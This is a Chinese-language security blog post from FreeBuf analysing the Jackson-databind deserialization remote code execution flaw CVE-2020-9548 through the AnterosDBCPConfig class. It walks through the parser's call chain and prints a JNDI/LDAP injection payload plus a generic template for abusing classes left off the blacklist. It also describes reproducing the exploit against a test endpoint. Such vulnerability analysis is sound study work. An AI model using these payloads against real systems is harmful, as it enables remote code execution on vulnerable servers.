freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

[原创]Jackson-detabind反序列化远程代码执行漏洞(CVE-2020-9548)分析
soytn1ce 2023-02-16 17:36:37 232944
所属地 江苏省

相关介绍

Jackson-databind数据绑定模块,2.10.2到2.9.10.3之间存在反序列化利用漏洞,可利用类为AnterosDBCPConfig

AnterosDBCPConfig类中的healthCheckRegistry和metricRegistry属性的set方法,会根据传入的值调用lookup方法

原理分析

主要看一下readValue()触发的流程,关于json转对象的反序列化,主要是对存在反序列化漏洞的类的属性赋恶意值

输入的json值为["br.com.anteros.dbcp.AnterosDBCPConfig", {"healthCheckRegistry": "ldap://localhost:43658/Calc"}]

image.png

完整的调用链

image.png

在这之前看一下,JsonToken根据传入的json格式判断,具体判断在ReaderBaseJsonParser的nextToken

根据传入json的首位的ascii值判断,这里传入的是[就是91,case 91所以给的值是START_ARRAY,如果给的{标准的json格式给的就是START_OBJECT
image.png
image.png
image.png

漏洞触发需要开启enableDafaultTyping,这个方法影响ObjectMapper的_deserializationConfig和_serializationConfig属性,这里主要看一下with这个自定义方法,这个方法可以保证根据选择指定对应的Builder(具体可以看一下enableDefaultTyping)的解释
image.png
image.png
对比一下开启和未开启enableDefaultTyping方法的mapper,可以发现_base属性的_typeResolverBuilder,未开启是null,开启是DefaultTypeResolverBuilder
image.png
image.png
ObjectMapper的readValue调用进到_readMapAndClose,这里判断token格式不为空即数据格式为数组或json,同时开头字符不为}或]进到else里的deser.deserialize
image.png
跟到AsArrayTypeDeserializer的deserializeTypedFromAny,进到_deserialize
image.png
这里跟过来主要看一下判断逻辑和具体传值
image.png

第一个判断默认返回的false,没有额外赋值设置,第一个if逻辑不进去不会return
image.png

这里主要是根据传入数据给TokenBuffer赋值,type由_locateTypeId生成;此处_typeIdVisible是flase,不会进入下面这个if判断,直接到下面的deser.deserialize
image.png
传入的类型是string,每个类型都有对应的Token id值,具体可以看JsonToken这个枚举

这里因为是string,所以返回的result由传入的JsonParser的getText获取
image.png

这里的typeId最后是由TextBuffer的contentsAsString方法获得,传入的payload的载体就是TextBuffer,这里最后给_textBuffer赋值的就是_finishString方法
image.png

根据双引号截取第一个值,所以这里的_textBuffer就是传的第一个双引号里的值
image.png

第一个双引号包起来的值决定反序列化类的类型
image.png

继续跟到后面的vanillaDeserialize,这里开始解析后面的json值,拿到filed值healthCheckRegistry,这里的prop不为空进到deserializeAndSet
image.png

deserializeAndSet里的_setter.invoke,即调用setHealthCheckRegistry传值payload里json部分的value
image.png

关于AnterosDBCPConfig的setHealthCheckRegistry,传过来的地址会进到getObjectOrPerformJndiLookup
image.png

(ˉ▽ˉ;)…这里lookup了
image.png

这个类的metricRegistry也是一样的
image.png

具体的黑名单ban可以查看SubTypeValidator,之后的版本AnterosDBCPConfig类已经被ban了
image.png

Poc

对此类赋值的话,只要是没有在黑名单里被ban调的类应该都可以尝试一下?

主要格式是json数组,以[]包括需要反序列化的数组,第一个双引号截断的为需要反序列化的类名,后面的则是需要指定属性的json形式

具体格式如下:

[“unsafe_class_name”,{“unsafe_filed”:”evil_value”}]

漏洞复现

起环境

image.png

访问/rce/index,提交payload
image.png

连接

image.png

# 漏洞 # 漏洞分析
本文为 soytn1ce 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
soytn1ce LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 2 关注者
文章目录